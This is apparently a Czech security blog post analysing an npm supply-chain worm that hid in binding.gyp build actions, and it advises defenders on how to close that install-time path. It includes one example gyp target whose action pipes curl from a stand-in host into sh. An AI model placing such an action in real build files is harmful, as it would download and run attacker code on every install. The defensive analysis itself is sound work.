co se vlastně stalo
Prvního června 2026 někdo nahrál škodlivé verze 32 balíčků pod npm scope @redhat-cloud-services. Zajímavé na tom nebyl rozsah dopadu, ale mechanismus. Worm, kterému lidi začali říkat Miasma podle stringu, který nechal v komentáři, se package.json ani nedotkl. Žádný postinstall, žádný preinstall, žádný prepare, nic z lifecycle hooků, které každý supply chain scanner na planetě od kauzy event-stream před lety flaguje. Místo toho dodal otrávený binding.gyp, tedy descriptor soubor, který node-gyp čte při kompilaci nativních addonů. Přes gyp action mechanismus spustil shell příkaz během kompilace, kterou npm install automaticky nastartuje pokaždé, když má balíček nativní kód. Payload stáhl druhou fázi, vyjmenoval ostatní balíčky, ke kterým měl CI token publish práva, upravil jim binding.gyp stejným způsobem a znovu je publishnul. To je ta wormová část. Šířil se, protože build stroje s širokými npm tokeny mívají publish přístup k víc než jednomu balíčku a nikdo si build descriptor nehlídal. Red Hat tým to chytil zhruba za devět hodin a verze stáhl, což je rychlé, ale devět hodin samo se šířící publish smyčky stačí na to, aby napáchalo pořádnou škodu napříč scope, na kterém spousta enterprise Node aplikací tranzitivně závisí.
proč to váš scanner minul
Skoro každý npm supply chain nástroj, který jsem viděl, a viděl jsem jich hodně, když jsme klientům stavěli install-time sandboxy, modeluje trust boundary kolem package.json. Socket, npm audit signatures, různé OpenSSF Scorecard kontroly, většina domácích allowlist wrapperů, všechny se zaměřují na lifecycle scripty, protože tam žila drtivá většina historických útoků. Grepnete scripts.postinstall, flagnete cokoli, co curlne URL nebo spustí shell, a máte dobrý pocit. Problém je, že npm install má víc než jeden vstupní bod pro spuštění kódu a node-gyp je úplně samostatná execution surface, která nastartuje pokaždé, když dependency deklaruje gyp soubor a nemáte cachnutou prebuild binárku. Když node-gyp zpracovává binding.gyp, vyhodnotí targety a gyp podporuje actions a rules s polem action, což je doslova command line plus argumenty. To se spustí. Během installu. Ještě než proběhl jediný řádek vašeho vlastního kódu. Takže soubor, který váš scanner považuje za neškodná build metadata, je ve skutečnosti spustitelný script ve formátu, který váš scanner neparsuje, spouštěný toolchainem, který váš scanner nemodeluje, v okamžiku, který váš scanner považuje za bezpečný, protože package.json byl čistý. To je celý trik. Není to chytrá kryptografie ani nový zero-day, jenom si to vybralo tu jednu install-time execution cestu, kterou nikdo neinstrumentoval.
gyp soubor je kód, tak s ním zacházejte
Náprava v hlavě je malá, ale mění to, jak auditujete. binding.gyp není config. Je to dictionary v pythonovském stylu, který popisuje build, a ten build může shellout. Minimální zbraňový target vypadá zhruba takhle:
{ "targets": [{ "target_name": "addon", "actions": [{ "action_name": "fetch", "inputs": [], "outputs": ["out.txt"], "action": ["sh", "-c", "curl -s https://evil.example/s | sh"] }] }] }
V package.json není nic, co by vás varovalo. Dependency vypadá jako normální nativní modul, třeba image codec, crypto binding nebo databázový driver, přesně ta věc, která legitimně dodává C++ a legitimně potřebuje node-gyp. Právě proto jsou nativní dependency dobrá skrýš, protože přítomnost build mašinerie se očekává a šum kolem nativního modulu, který si při kompilaci dělá divné věci, je hrozně vysoký. Kdokoli debugoval padající install sharp nebo better-sqlite3 na Macu s M-čipem ví, že node-gyp output je zeď smetí, kterou nikdo nečte. Curl piped do sh uprostřed té zdi je neviditelný. Takže s jakýmkoli binding.gyp, .gyp nebo .gypi ve vašem dependency stromu musíte začít zacházet jako se spustitelným obsahem, který dostane stejnou pozornost jako postinstall hook. To znamená diffovat ho mezi verzemi, flagnout jakoukoli action nebo rule, která volá shell, a být extrémně podezřívaví vůči build krokům, které sahají do sítě.
sousední vektory, které nikdo nezavřel
Jakmile přijmete, že binding.gyp je execution cesta, začnete vidět zbytek slepého místa. Prebuilt binárky jsou upřímně horší, protože balíčky používající prebuild-install nebo node-pre-gyp stáhnou během installu zkompilovaný .node soubor ze vzdáleného hostu a pak ho načtou. A .node soubor je nativní shared object, který spustí jakýkoli strojový kód, který tam autor dal, v okamžiku, kdy ho vaše aplikace require. Žádný review zdrojáku to nezachytí, žádný gyp audit to nezachytí, jenom věříte, že tarball na nějakém S3 bucketu odpovídá tomu, co je na GitHubu. Download URL je navíc často templatovaná z env varu nebo pole v balíčku, které kompromitovaný publish může přepsat. Pak je tu celá kategorie build nástrojů, které běží během installu z důvodů, které s nativním kódem vůbec nesouvisejí. node-gyp není jediná věc, co nastartuje. Cokoli, co pověsí rebuild krok, cokoli používá lifecycle, který má váš scanner v allowlistu, takže se přestane dívat, cokoli čte config soubor, který vaše tooling parsuje jako data. Vzorec, který tohle všechno spojuje, je, že install-time je trust boundary, kterou překročíte, ať chcete nebo ne. Většina týmů zahardenovala jen ty nejslavnější dveře v té hranici a nechala nativní build dveře i prebuilt binárku dveře dokořán.
co s tím reálně udělat
Pouštějte instally s vypnutými scripty jako default a zapínejte je per-dependency. npm má --ignore-scripts odjakživa a pnpm 10 přešlo na blokování build scriptů, dokud je explicitně nepovolíte v configu, což je správný default a měli byste na něm být. To samo zabije lifecycle cestu, ale nezabije to node-gyp, protože gyp actions běží jako součást buildu, ne jako npm script, takže musíte jít dál. U nativních modulů preferujte prebuilt binárky s ověřením checksumu a připněte přesnou resolvnutou verzi a integrity hash do lockfilu. Zkontrolujte, jestli vaše CI lock reálně respektuje, místo aby ho potichu regenerovalo. Ještě lepší je dělat instalaci dependencies uvnitř síťově izolované build fáze. Když se binding.gyp pokusí něco curlnout a nemá egress, action selže nahlas místo toho, aby potichu uspěl, a padlý build je signál, který prošetříte. Klientům stavíme install pipeline, kde dep-fetch fáze nemá vůbec žádnou odchozí síť, balíčky chodí z vendorovaného mirroru a compile fáze běží v jednorázovém containeru se zamčeným seccomp profilem, takže ani otrávená gyp action nemůže na nic dosáhnout ani nic persistovat. Je to víc setupu než ukázat npm na veřejný registry, jasně, ale alternativa je devítihodinové okno, kdy vám worm, který jste nikdy nemodelovali, znovu publishne polovinu dependency stromu. Nascopujte CI tokeny tak, aby build stroj mohl publishnout přesně ty balíčky, které vlastní, a nic víc, protože Miasma se vůbec rozšířil kvůli příliš širokým publish právům na strojích, které jen potřebovaly buildit. A přidejte binding.gyp k tomu, co váš scanner diffuje při version bumpech, protože gyp soubor, který mezi dvěma patch verzemi získá action pole, je asi tak jasný signál, jaký kdy dostanete.
